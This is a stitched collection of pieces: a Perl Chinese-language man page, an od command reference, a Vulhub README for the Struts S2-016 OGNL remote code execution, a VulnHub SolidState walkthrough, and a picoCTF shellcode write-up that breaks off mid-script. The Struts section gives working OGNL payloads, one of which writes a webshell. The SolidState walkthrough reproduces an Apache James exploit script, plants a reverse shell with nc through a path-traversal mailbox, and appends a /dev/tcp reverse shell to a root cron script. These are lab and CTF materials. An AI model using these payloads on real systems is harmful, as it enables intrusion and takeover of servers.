. ds ' \&
. ds ` \&
. ds ^ \&
. ds , \&
. ds ~ ~
. ds /
.\}
.if t \{\
. ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
. ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
. ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
. ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
. ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
. ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
. \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
. \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
. \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
. ds : e
. ds 8 ss
. ds o a
. ds d- d\h'-1'\(ga
. ds D- D\h'-1'\(hy
. ds th \o'bp'
. ds Th \o'LP'
. ds ae ae
. ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "PERLTW 1"
.TH PERLTW 7 "2003-09-02" "perl v5.8.1" "Perl Programmers Reference Guide"
.SH "NAME"
perltw \- 正體中文 Perl 指南
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
歡迎來到 Perl 的天地!
.PP
從 5.8.0 版開始, Perl 具備了完善的 Unicode (萬國碼) 支援,
也連帶支援了許e多拉丁語系以外的編碼方式; \s-1CJK\s0 (中日韓) 便是其中的一部份.
Unicode 是國際性的標準, 試圖涵蓋e世界上所有的字符: 西方世界, 東方世界,
以及兩者間的一切 (希臘文, 敘利亞文, 阿拉伯文, 希伯來文, 印度文,
印地安文, 等等). 它也容納了多種作業系統與平臺 (如 \s-1PC\s0 及麥金塔).
.PP
Perl 本身以 Unicode 進行操作. 這表示 Perl 內部的字串資料可用 Unicode
表示; Perl 的函式與算符 (例如正規表示式比對) 也能對 Unicode 進行操作.
在輸入及輸出時, 為了處理以 Unicode 之前的編碼方式儲存的資料, Perl
提供了 Encode 這個模組, 可以讓你輕易地讀取及寫入舊有的編碼資料.
.PP
Encode 延伸模組支援下列正體中文的編碼方式 ('big5' 表示 'big5\-eten'):
.PP
.Vb 3
\& big5-eten Big5 編碼 (含倚天延伸字形)
\& big5-hkscs Big5 + 香港外字集, 2001 年版
\& cp950 字碼頁 950 (Big5 + 微軟添加的字符)
.Ve
.PP
舉例來說, 將 Big5 編碼的檔案轉成 Unicode, 祗需鍵入下列指令:
.PP
.Vb 1
\& perl -Mencoding=big5,STDOUT,utf8 -pe1 < file.big5 > file.utf8
.Ve
.PP
Perl 也內附了 \*(L"piconv\*(R", 一支完全以 Perl 寫成的字符轉換工具程式, 用法如下:
.PP
.Vb 2
\& piconv -f big5 -t utf8 < file.big5 > file.utf8
\& piconv -f utf8 -t big5 < file.utf8 > file.big5
.Ve
.PP
另外, 利用 encoding 模組, 你可以輕易寫出以字符為單位的程式碼, 如下所示:
.PP
.Vb 7
\& #!/usr/bin/env perl
\& # 啟動 big5 字串解析; 標準輸出入及標準錯誤都設為 big5 編碼
\& use encoding 'big5', STDIN => 'big5', STDOUT => 'big5';
\& print length("駱駝"); # 2 (雙引號表示字符)
\& print length('駱駝'); # 4 (單引號表示位元組)
\& print index("諄諄教誨", "彖帢"); # -1 (不包含此子字串)
\& print index('諄諄教誨', '彖帢'); # 1 (從第二個位元組開始)
.Ve
.PP
在最後一列例子裡, \*(L"諄\*(R" 的第二個位元組與 \*(L"諄\*(R" 的第一個位元組結合成 Big5
碼的 \*(L"彖\*(R"; \*(L"諄\*(R" 的第二個位元組則與 \*(L"教\*(R" 的第一個位元組結合成 \*(L"帢\*(R".
這解決了以前 Big5 碼比對處理上常見的問題.
.Sh "額外的中文編碼"
.IX Subsection "額外的中文編碼"
如果需要更多的中文編碼, 可以從 \s-1CPAN\s0 (<http://www.cpan.org/>) 下載
Encode::HanExtra 模組. 它目前提供下列編碼方式:
.PP
.Vb 4
\& cccii 1980 年文建會的中文資訊交換碼
\& euc-tw Unix 延伸字符集, 包含 CNS11643 平面 1-7
\& big5plus 中文數位化技術推廣基金會的 Big5+
\& big5ext 中文數位化技術推廣基金會的 Big5e
.Ve
.PP
另外, Encode::HanConvert 模組則提供了簡繁轉換用的兩種編碼:
.PP
.Vb 2
\& big5-simp Big5 正體中文與 Unicode 簡體中文互轉
\& gbk-trad GBK 簡體中文與 Unicode 正體中文互轉
.Ve
.PP
若想在 \s-1GBK\s0 與 Big5 之間互轉, 請參考該模組內附的 b2g.pl 與 g2b.pl 兩支程式,
或在程式內使用下列寫法:
.PP
.Vb 3
\& use Encode::HanConvert;
\& $euc_cn = big5_to_gb($big5); # 從 Big5 轉為 GBK
\& $big5 = gb_to_big5($euc_cn); # 從 GBK 轉為 Big5
.Ve
.Sh "進一步的資訊"
.IX Subsection "進一步的資訊"
請參考 Perl 內附的大量說明文件 (不幸全是用英文寫的), 來學習更多關於
Perl 的知識, 以及 Unicode 的使用方式. 不過, 外部的資源相當豐富:
.Sh "提供 Perl 資源的網址"
.IX Subsection "提供 Perl 資源的網址"
.IP "<http://www.perl.com/>" 4
.IX Item "<http://www.perl.com/>"
Perl 的首頁 (由歐萊禮公司維護)
.IP "<http://www.cpan.org/>" 4
.IX Item "<http://www.cpan.org/>"
Perl 綜合典藏網 (Comprehensive Perl Archive Network)
.IP "<http://lists.perl.org/>" 4
.IX Item "<http://lists.perl.org/>"
Perl 郵遞論壇一覽
.Sh "學習 Perl 的網址"
.IX Subsection "學習 Perl 的網址"
.IP "<http://www.oreilly.com.tw/chinese/perl/index.html>" 4
.IX Item "<http://www.oreilly.com.tw/chinese/perl/index.html>"
正體中文版的歐萊禮 Perl 書藉
.IP "<http://groups.google.com/groups?q=tw.bbs.comp.lang.perl>" 4
.IX Item "<http://groups.google.com/groups?q=tw.bbs.comp.lang.perl>"
臺灣 Perl 連線討論區 (也就是各大 \s-1BBS\s0 的 Perl 連線版)
.Sh "Perl 使用者集會"
.IX Subsection "Perl 使用者集會"
.IP "<http://www.pm.org/groups/asia.shtml#Taiwan>" 4
.IX Item "<http://www.pm.org/groups/asia.shtml#Taiwan>"
臺灣 Perl 推廣組一覽
.IP "<http://irc.elixus.org/>" 4
.IX Item "<http://irc.elixus.org/>"
藝立協線上聊天室
.Sh "Unicode 相關網址"
.IX Subsection "Unicode 相關網址"
.IP "<http://www.unicode.org/>" 4
.IX Item "<http://www.unicode.org/>"
Unicode 學術學會 (Unicode 標準的制定者)
.IP "<http://www.cl.cam.ac.uk/%7Emgk25/unicode.html>" 4
.IX Item "<http://www.cl.cam.ac.uk/%7Emgk25/unicode.html>"
Unix/Linux 上的 \s-1UTF\-8\s0 及 Unicode 答客問
.Sh "中文化資訊"
.IX Subsection "中文化資訊"
.ie n .IP "為什麼叫 ""正體中文"" 不叫 ""繁體中文""?" 4
.el .IP "為什麼叫 ``正體中文'' 不叫 ``繁體中文''?" 4
.IX Item "為什麼叫 正體中文 不叫 繁體中文?"
<http://www.csie.ntu.edu.tw/~b7506051/mozilla/faq.html#faqglossary>
.IP "中文化軟體聯盟" 4
.IX Item "中文化軟體聯盟"
<http://www.cpatch.org/>
.IP "Linux 軟體中文化計劃" 4
.IX Item "Linux 軟體中文化計劃"
<http://www.linux.org.tw/CLDP/>
.SH "SEE ALSO"
.IX Header "SEE ALSO"
Encode, Encode::TW, encoding, perluniintro, perlunicode
.SH "AUTHORS"
.IX Header "AUTHORS"
Jarkko Hietaniemi <jhi@iki.fi>
.PP
Autrijus Tang (唐宗漢) <autrijus@autrijus.org>
|
sec-knowleage
|
od
===
输出文件的八进制、十六进制等格式编码的字节
## 补充说明
**od命令** 用于输出文件的八进制、十六进制或其它格式编码的字节,通常用于显示或查看文件中不能直接显示在终端的字符。
常见的文件为文本文件和二进制文件。此命令主要用来查看保存在二进制文件中的值。比如,程序可能输出大量的数据记录,每个数据是一个单精度浮点数。这些数据记录存放在一个文件中,如果想查看下这个数据,这时候od命令就派上用场了。在我看来,od命令主要用来格式化输出文件数据,即对文件中的数据进行无二义性的解释。不管是IEEE754格式的浮点数还是ASCII码,od命令都能按照需求输出它们的值。
### 语法
```shell
od(选项)(参数)
```
### 选项
```shell
-a:此参数的效果和同时指定“-ta”参数相同;
-A:<字码基数>:选择以何种基数计算字码;
-b:此参数的效果和同时指定“-toC”参数相同;
-c:此参数的效果和同时指定“-tC”参数相同;
-d:此参数的效果和同时指定“-tu2”参数相同;
-f:此参数的效果和同时指定“-tfF”参数相同;
-h:此参数的效果和同时指定“-tx2”参数相同;
-i:此参数的效果和同时指定“-td2”参数相同;
-j<字符数目>或--skip-bytes=<字符数目>:略过设置的字符数目;
-l:此参数的效果和同时指定“-td4”参数相同;
-N<字符数目>或--read-bytes=<字符数目>:到设置的字符树目为止;
-o:此参数的效果和同时指定“-to2”参数相同;
-s<字符串字符数>或--strings=<字符串字符数>:只显示符合指定的字符数目的字符串;
-t<输出格式>或--format=<输出格式>:设置输出格式;
-v或--output-duplicates:输出时不省略重复的数据;
-w<每列字符数>或--width=<每列字符数>:设置每列的最大字符数;
-x:此参数的效果和同时指定“-h”参数相同;
--help:在线帮助;
--version:显示版本信息。
```
### 参数
文件:指定要显示的文件。
### 实例
```shell
[linuxde@localhost ~]$ echo abcdef g > tmp
[linuxde@localhost ~]$ cat tmp
abcdef g
```
说明:先准备一个tmp文件
```shell
[linuxde@localhost ~]$ od -b tmp
0000000 141 142 143 144 145 146 040 147 012
0000011
```
说明:使用单字节八进制解释进行输出,注意左侧的默认地址格式为八字节
```shell
[linuxde@localhost ~]$ od -c tmp
0000000 a b c d e f g \n
0000011
```
说明:使用ASCII码进行输出,注意其中包括转义字符
```shell
[linuxde@localhost ~]$ od -t d1 tmp
0000000 97 98 99 100 101 102 32 103 10
0000011
```
说明:使用单字节十进制进行解释
```shell
[linuxde@localhost ~]$ od -A d -c tmp
0000000 a b c d e f g \n
0000009
```
说明:设置地址格式为十进制。
```shell
[linuxde@localhost ~]$ od -A x -c tmp
000000 a b c d e f g \n
000009
```
说明:设置地址格式为十六进制
```shell
[linuxde@localhost ~]$ od -j 2 -c tmp
0000002 c d e f g \n
0000011
```
说明:跳过开始的两个字节
```shell
[linuxde@localhost ~]$ od -N 2 -j 2 -c tmp
0000002 c d
0000004
```
说明:跳过开始的两个字节,并且仅输出两个字节
```shell
[linuxde@localhost ~]$ od -w1 -c tmp
0000000 a
0000001 b
0000002 c
0000003 d
0000004 e
0000005 f
0000006
0000007 g
0000010 \n
0000011
```
说明:每行仅输出1个字节
```shell
[linuxde@localhost ~]$ od -w2 -c tmp
0000000 a b
0000002 c d
0000004 e f
0000006 g
0000010 \n
0000011
```
说明:每行输出两个字节
```shell
[linuxde@localhost ~]$ od -w3 -b tmp
0000000 141 142 143
0000003 144 145 146
0000006 040 147 012
0000011
```
说明:每行输出3个字节,并使用八进制单字节进行解释
|
sec-knowleage
|
# S2-016 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.0.0 - 2.3.15
Details:
- http://struts.apache.org/docs/s2-016.html
- http://www.freebuf.com/articles/web/25337.html
## Setup
```
docker compose build
docker compose up -d
```
## Exploit
Visit `http://your-ip:8080/index.action?redirect:OGNL expression` to execute an OGNL expression.
Execute `uname -a`:
```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
```
Get web directory:
```
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
```
Get webshell:
```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
```
Result:

|
sec-knowleage
|
# SolidState
下载地址:https://download.vulnhub.com/solidstate/SolidState.zip
## 实战演练
找到靶场IP地址:`192.168.32.156`

扫描对外端口
```
┌──(root💀kali)-[/tmp]
└─# nmap -sT -sV -p1-65535 192.168.32.156
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-12 07:41 EDT
Nmap scan report for 192.168.32.156
Host is up (0.00013s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
25/tcp open smtp JAMES smtpd 2.3.2
80/tcp open http Apache httpd 2.4.25 ((Debian))
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open james-admin JAMES Remote Admin 2.3.2
MAC Address: 00:0C:29:FA:6B:D9 (VMware)
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.60 seconds
```
浏览器访问80端口

扫描80端口的目录没有发现什么可用信息。

搜索James服务可利用脚本
```
┌──(root💀kali)-[~/Desktop]
└─# searchsploit james
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Apache James Server 2.2 - SMTP Denial of Service | multiple/dos/27915.pl
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploi | linux/remote/48130.rb
Apache James Server 2.3.2 - Remote Command Execution | linux/remote/35513.py
Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2) | linux/remote/50347.py
WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer Overflow | windows/remote/944.c
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```
查看利用脚本
```
┌──(root💀kali)-[~/Desktop]
└─# searchsploit -m 35513
Exploit: Apache James Server 2.3.2 - Remote Command Execution
URL: https://www.exploit-db.com/exploits/35513
Path: /usr/share/exploitdb/exploits/linux/remote/35513.py
File Type: Python script, ASCII text executable
Copied to: /root/Desktop/35513.py
┌──(root💀kali)-[~/Desktop]
└─# cat 35513.py
#!/usr/bin/python
#
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
# Date: 16\10\2014
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d
import socket
import sys
import time
# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'
if len(sys.argv) != 2:
sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
sys.exit(1)
ip = sys.argv[1]
def recv(s):
s.recv(1024)
time.sleep(0.2)
try:
print "[+]Connecting to James Remote Administration Tool..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,4555))
s.recv(1024)
s.send(user + "\n")
s.recv(1024)
s.send(pwd + "\n")
s.recv(1024)
print "[+]Creating user..."
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
s.recv(1024)
s.send("quit\n")
s.close()
print "[+]Connecting to James SMTP server..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,25))
s.send("ehlo team@team.pl\r\n")
recv(s)
print "[+]Sending payload..."
s.send("mail from: <'@team.pl>\r\n")
recv(s)
# also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
recv(s)
s.send("data\r\n")
recv(s)
s.send("From: team@team.pl\r\n")
s.send("\r\n")
s.send("'\n")
s.send(payload + "\n")
s.send("\r\n.\r\n")
recv(s)
s.send("quit\r\n")
recv(s)
s.close()
print "[+]Done! Payload will be executed once somebody logs in."
except:
print "Connection failed."
```
> 漏洞存在于_adduser_功能中。添加新用户时,服务器会创建一个新的子目录来存储该用户的传入和传出电子邮件。但是,用户名字段未正确验证。因此,当我们使用用户名"`../../../../../../../../etc/bash_completion.d`"创建用户时,任何发送到该用户将存储在该目录路径中。为什么这么危险?长话短说,目录 /etc/bash\_completion.d 下的任何内容都由 Bash 自动为所有用户加载!
>
> 因此,如果我们使用指向 `/etc/bash_completion.d` 目录的用户名**创建用户**,当我们向该用户发送电子邮件时,我们的电子邮件将保存在 `bash_completion.d` 目录中,并且我们的电子邮件内容会自动加载当任何用户登录机器时使用 Bash。因此,**如果我们在电子邮件中包含反向 shell,我们所要做的就是等待单个用户登录并且我们可以访问机器!**
nc连接james的**4555**管理端口,使用默认密码root/root进行登录
```
┌──(root💀kali)-[~/Desktop]
└─# nc 192.168.32.156 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
Unknown command
help
Currently implemented commands:
help display this help
listusers display existing accounts
countusers display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [password] sets a user's password
setalias [user] [alias] locally forwards all email for 'user' to 'alias'
showalias [username] shows a user's current email alias
unsetalias [user] unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username] shows a user's current email forwarding
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown kills the current JVM (convenient when James is run as a daemon)
quit close connection
```
可以列出用户以查看五个帐户:
```
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin
```
可以更改每个用户的密码为`123456`。
```
setpassword -h
Usage: setpassword [username] [password]
setpassword james 123456
Password for james reset
setpassword thomas 123456
Password for thomas reset
setpassword john 123456
Password for john reset
setpassword mindy 123456
Password for mindy reset
setpassword mailadmin 123456
Password for mailadmin reset
```
对于每个帐户,我现在可以连接到 TCP 110 (POP3) 来检查邮件。`telnet`最适合连接到 POP3。
第一个用户 james 没有消息:
```
┌──(root💀kali)-[~/Desktop]
└─# telnet 192.168.32.156 110
Trying 192.168.32.156...
Connected to 192.168.32.156.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user james
+OK
pass 123456
+OK Welcome james
list
+OK 0 0
.
```
> `ctrl`+`]`键退出
thomas 中也没有邮件
```
┌──(root💀kali)-[~/Desktop]
└─# telnet 192.168.32.156 110
Trying 192.168.32.156...
Connected to 192.168.32.156.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user thomas
+OK
pass 123456
+OK Welcome thomas
list
+OK 0 0
.
```
但 john 确实显示了一条消息:
```
┌──(root💀kali)-[~/Desktop]
└─# telnet 192.168.32.156 110
Trying 192.168.32.156...
Connected to 192.168.32.156.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user john
+OK
pass 123456
+OK Welcome john
list
+OK 1 743
1 743
.
```
我将使用`RETR`命令来阅读它:
```
ETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <john@localhost>;
Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John,
Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.
Thank you in advance.
Respectfully,
James
```
> 你能在mindy读到程序之前限制她的访问权限吗。还要确保你给她发了一个登录她账户的临时密码。
>
> 先谢谢你。
检查mindy 邮箱信息
```
RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
for <mindy@localhost>;
Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome
Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
We are looking forward to you joining our team and your success at Solid State Security.
Respectfully,
James
.
```
> 亲爱的明迪, 欢迎加入固国安全网络团队!我们很高兴你能加入我们成为一名初级国防分析师。你的角色对于完成我们组织的使命至关重要。所附资料旨在为您介绍网络安全,并提供资源,帮助您顺利过渡到您的新角色。网络小组在这里支持你的过渡,所以,请知道,你可以呼叫我们中的任何一个来帮助你。
>
> 我们期待您加入我们的团队并取得成功。
>
> 尊重, 詹姆斯
```
RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <mindy@localhost>;
Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access
Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
username: mindy
pass: P@55W0rd1!2@
Respectfully,
James
```
> 这里是您访问系统的ssh凭证。首次登入后,请记得重置密码。 您的访问权限目前受到限制,请随意要求您的主管将您需要的任何命令添加到您的路径中。
使用上面发现SSH账号进行登录
```
┌──(root💀kali)-[~/Desktop]
└─# ssh mindy@192.168.32.156
The authenticity of host '192.168.32.156 (192.168.32.156)' can't be established.
ECDSA key fingerprint is SHA256:njQxYC21MJdcSfcgKOpfTedDAXx50SYVGPCfChsGwI0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.32.156' (ECDSA) to the list of known hosts.
mindy@192.168.32.156's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
```
正如电子邮件所建议的那样,shell的权限是有限的
```
mindy@solidstate:~$ whoami
-rbash: whoami: command not found
mindy@solidstate:~$ id
-rbash: id: command not found
```
mindy的shell是`rbash`
```
mindy:x:1001:1001:mindy:/home/mindy:/bin/rbash
```
查看当前目录的内容
```
mindy@solidstate:~$ ls
bin user.txt
mindy@solidstate:~$ cat user.txt
914d0a4ebc1777889b5b89a23f556fd75
mindy@solidstate:~$ ls bin/
cat env ls
```
### rbash 转义(快速方法)
```
┌──(root💀kali)-[~/Desktop]
└─# ssh mindy@192.168.32.156 -t bash
mindy@192.168.32.156's password:
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ whoami
mindy
```
### james脚本利用(预期方法)
james手动添加用户
```
┌──(root💀kali)-[~/Desktop]
└─# nc 192.168.32.156 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
adduser ../../../../../../../../etc/bash_completion.d 123456
User ../../../../../../../../etc/bash_completion.d added
quit
Bye
```
我将向该用户发送一封带有反向 shell 的电子邮件
```
┌──(root💀kali)-[~/Desktop]
└─# telnet 192.168.32.156 25 1 ⨯
Trying 192.168.32.156...
Connected to 192.168.32.156.
Escape character is '^]'.
220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Fri, 17 Jun 2022 03:42:43 -0400 (EDT)
EHLO 123456
250-solidstate Hello 123456 (192.168.32.130 [192.168.32.130])
250-PIPELINING
250 ENHANCEDSTATUSCODES
MAIL FROM:<test@test.com>
250 2.1.0 Sender <test@test.com> OK
RCPT TO: <../../../../../../../../etc/bash_completion.d>
250 2.1.5 Recipient <../../../../../../../../etc/bash_completion.d@localhost> OK
DATA
354 Ok Send data ending with <CRLF>.<CRLF>
FROM: test@test.com
'
/bin/nc -e /bin/bash 192.168.32.130 12345
.
250 2.6.0 Message received
quit
221 2.0.0 solidstate Service closing transmission channel
Connection closed by foreign host.
```
> 误发删除之前的邮件
>
> <img src="../../.gitbook/assets/image-20220617155256572.png" alt="image-20220617155256572" data-size="original">
不过我这边一直上不了SHELL,奇怪。使用快速方法进去。
查找可以利用的文件
```
find / -writable -type f 2>/dev/null
```
找到`/opt`目录
```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls
james-2.3.2 tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()
```
使用pspy监控进程,发现每三分钟会执行一个计划任务,并且是root用户执行

修改`tmp.py`,添加反弹shell,等三分钟
```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ cat /opt/tmp.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()
os.system('bash -c "bash -i >& /dev/tcp/192.168.32.130/12345 0>&1"')
```
成功反弹成功

|
sec-knowleage
|
# shellcode
Binary Exploitation, 200 points
## Description:
> This program executes any input you give it. Can you get a shell?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter a string!");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
return 0;
}
```
## Solution:
We'll use pwntools' "shellcode" module to generate a shellcode:
```python
from pwn import *
import argparse
import os
EXECUTABLE = "vuln"
LOCAL_PATH = "./"
REMOTE_PATH = "/problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed/"
SSH_SERVER = "2018shell3.picoctf.com"
def get_process_path(is_ssh = False):
if is_ssh or os.path.exists(REMOTE_PATH):
return REMOTE_PATH + EXECUTABLE
else:
return LOCAL_PATH + EXECUTABLE
def get_process(ssh_user = None):
is_ssh = ssh_user is not None
path = get_process_path(is_ssh)
